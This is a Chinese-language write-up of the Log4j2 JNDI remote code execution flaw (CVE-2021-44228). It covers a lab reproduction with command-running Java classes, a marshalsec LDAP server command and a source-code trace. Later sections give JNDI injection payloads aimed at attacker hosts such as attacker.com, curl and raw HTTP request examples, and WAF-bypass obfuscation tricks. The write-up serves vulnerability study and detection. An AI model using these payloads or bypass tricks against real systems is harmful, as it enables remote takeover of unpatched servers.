Apachelog4j2-RCE-漏洞(CVE-2021-44228)

1.漏洞简介

Apache Log4j2是一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。
2021年11月24日,阿里云安全团队向Apache官方报告了Apahe Log4j2远程代码执行漏洞。该漏洞是由于Apache Log4j2某些功能存在递归解析功能,导致攻击者可直接构造恶意请求,触发远程代码执行漏洞,从而获得目标服务器权限。
漏洞适用版本:2.0 <= Apache log4j2 <= 2.14.1

2.漏洞原理

2.1. 原理概述

Apache log4j2-RCE 漏洞是由于Log4j2提供的lookup功能下的jndi Lookup模块出现问题所导致的,该功能模块在输出日志信息时允许开发人员通过相应的协议去请求远程主机上的资源。而开发人员在处理数据时,并没有对用户输入的信息进行判断,导致log4j2请求远程主机上的含有恶意代码的资源并执行其中的代码,从而造成远程代码执行漏洞.

2.2.JNDI

开发人员一般会使用log4j2在日志中输出一些变量,log4j2 除了可以输出程序中的变量,它还提供了多种lookup功能插件,可以用来查找更多数据用于输出。lookup在log4j2中,就是允许在输出日志的时候,通过多种方式去查找要输出的内容,其中就可以使用/lookup
JNDI (lava Naming and Directory lnterface, JAVA命名和目录接口): 它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。INDI下面有很多目录接口,用于不同的数据源的查找引用。

2.3.触发过程

log4j2远程代码执行漏洞大致过程(此处使用RMI,LDAP同理):假设有一个ava程序,将用户名信息到了日志中,如下
1.攻击者发送一个HTTP请求,其用户名为 ${jndi:rmi://rmi服务器地址/Exploit)

2.被攻击服务器发现要输出的信息中有 ${},则其中的内容要单独处理,进一步解析是ND扩展内容且使用的是RMI,而后根据RMI服务器地址去请求Exploit。
3.RMI服务器返回Reference对象(用于告诉请求端所请求对象所在的类),而该Reference指定了远端文件下载服务器上含有恶意代码的class文件。
4.被攻击服务器通过Reference对象去请求文件下载服务器上的class文件

5.被攻击服务器下载恶意class文件并执行其中的恶意代码。

3.1.流程复现

3.1.1.开发环境搭建

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
<!-- Log4j2 的 API -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>

<!-- Log4j2 的 Core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>

Controller

1
2
3
4
5
6
   private static final Logger logger = LogManager.getLogger(Log4j2Controller.class);
@GetMapping("/login")
public String login(@RequestParam String username){
logger.info("login username:" + username);
return "login username:" + username;
}

3.1.2.接口测试

image-20231013175734971

3.1.3.搭建ldap服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//jndi 代码执行恶意类
public class Calc{
public Calc(){
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Calc c = new Calc();
}
}
//将恶意类代码编译class文件
//javac calc.java
1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.100.128:8888/#Calc" 1099

image-20231013175938905

开启打开计算器恶意类接口8888

image-20231013180356185

3.1.4.向日志服务器发送payload

​ 此服务username参数为日志信息接口

image-20231013180608294

​ 由于是get请求因此将参数进行url编码

image-20231013180750069

发送请求执行代码

image-20231016105204841

4.1.linux复现

4.1.1.启动vunhub

ip:192.168.100.129 port:8983

1
2
3
# 进入复现目录CVE-2021-44228
systemctl start docker
docker compose up -d

image-20231016181230556

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//恶意类代码
public class Expx{
public Expx(){
try{
Runtime.getRuntime().exec("touch /tmp/success1016");
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Expx c = new Expx();
}
}

image-20231016181346493

image-20231016181403608

请求目标服务器

image-20231016181457274

命令执行成功

image-20231016181552356

5.1.直接dnslog测试

5.1.1.出网测试方法

image-20231016112311973

image-20231016112358635

5.1.1.局域网测试方法

起个文件服务,使用ldap/rmi协议访问同样有反应

image-20231016150740494

image-20231016150714223

6.log4j2源码污点跟踪

逻辑调用图:

image-20250427174549080

调用堆栈:

1
2
3
4
5
6
7
8
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)

6.1.通过源码分析定位到MessagePatternFormatterConverter类

​ log4j2 将日志信息封装成一个事件对象,传入MessagePatternFormatterConverter.format对象,匹配$符号中的内容。

​ 检测日志内容是否包含${,若存在则进入表达式解析流程。该过程通过正则匹配触发后续的递归解析逻辑

image-20231023102238689

​ 进入StrSubstitutor类

​ 递归解析嵌套的${}表达式(如${${jndi:rmi://...}}),提取变量名(如jndi:rmi://...)并分割类型(如jndi)与参数(如rmi://...

​ 通过prefixMatchersuffixMatcher分别匹配${}

​ 递归调用substitute处理多层嵌套表达式。

image-20250427162722913

image-20231023103243779

​ 进入Interpolator类

​ 根据变量前缀(如jndienv)选择对应的解析器。例如,jndi会触发JndiLookup类的解析

image-20250427163022684

识别前缀jndi

image-20231023103733225

进入JndiLookup.lookup()函数

image-20231023104333457

分割jndi:后的协议(如rmildap),调用JndiManager.lookup发起JNDI请求

image-20231023104516503

  • 解析URI格式(如jndi:ldap://evil.com/exploit)。
  • 通过InitialContext.lookup()连接到攻击者控制的JNDI服务器,加载远程恶意类(如通过LDAP/RMI协议触发反序列化或远程代码执行)。

image-20231023105522869

7.漏洞探测

1. 通用探测方法

(1) DNSLog回显验证
  • 核心原理:利用Log4j2的表达式解析特性,注入${jndi:ldap://xxx.dnslog.cn}类Payload,若目标服务器触发漏洞,会向攻击者控制的DNSLog平台发起请求,暴露IP或域名信息。
  • 关键步骤
    1. 生成DNSLog平台(如dnslog.cn、ceye.io)的临时域名。
    2. 向目标系统发送包含恶意Payload的请求(如HTTP头、参数、Cookie等)。
    3. 检查DNSLog平台是否收到请求记录,确认漏洞存在。
  • 优势:无侵入性,适合快速验证漏洞24。
(2) HTTP请求触发
  • 扩展验证:若DNSLog被拦截,可改用HTTP协议触发(如${jndi:http://attacker.com/payload}),通过监听HTTP服务器日志查看请求记录,进一步确认漏洞。

2. 工具化探测方案

(1) BurpSuite插件
  • Log4j2Scan:支持被动扫描,自动替换请求中的参数为Payload,但存在发包量大、易被WAF拦截的问题。
  • Yakit插件:集成多类Payload,支持自定义DNSLog域名(如iyhc.eu.org),绕过常见黑名单限制,识别率较高。
  • Xray + 返连平台:需配置公网服务器搭建JNDIMonitor服务,通过返连平台接收漏洞触发的连接请求,适合高隐蔽性探测。
(2) 命令行工具
  • 手动构造请求:利用curl或Python脚本发送特定格式的请求,例如:

    1
    curl -H "User-Agent: \${jndi:ldap://xxx.dnslog.cn}" http://target.com/api

    此方法需配合日志级别触发条件(如Struts2框架需触发WARN级别日志)。

3. 框架适配探测

(1) Struts2框架
  • 触发点:利用拦截器的日志记录功能,构造特定请求头或参数:

    • 方法1:访问静态文件(如/struts/utils.js)并设置非法If-Modified-Since头,触发WARN级别日志。
    • 方法2:发送超长参数名(>100字符),触发DEBUG级别日志记录。
    1
    2
    GET /struts/utils.js HTTP/1.1
    If-Modified-Since: ${jndi:ldap://xxx.dnslog.cn}
(2) Spring Boot
  • 注入点:通过HTTP参数、请求头或表单字段注入Payload,例如:

    1
    2
    POST /login HTTP/1.1
    username=test&password=\${jndi:rmi://attacker.com/exploit}

8.防御绕过技巧

(1) Payload混淆

  • 编码绕过:使用URL编码、Base64或Unicode转义,例如:

    1
    ${${::-j}ndi:ldap://xxx.dnslog.cn}
  • 嵌套表达式:构造多层嵌套表达式,如${${env:USER}},增加检测难度。

(2) 协议切换

  • 当LDAP/RMI被拦截时,尝试使用dnsiiop等协议:

    1
    ${jndi:dns://xxx.dnslog.cn}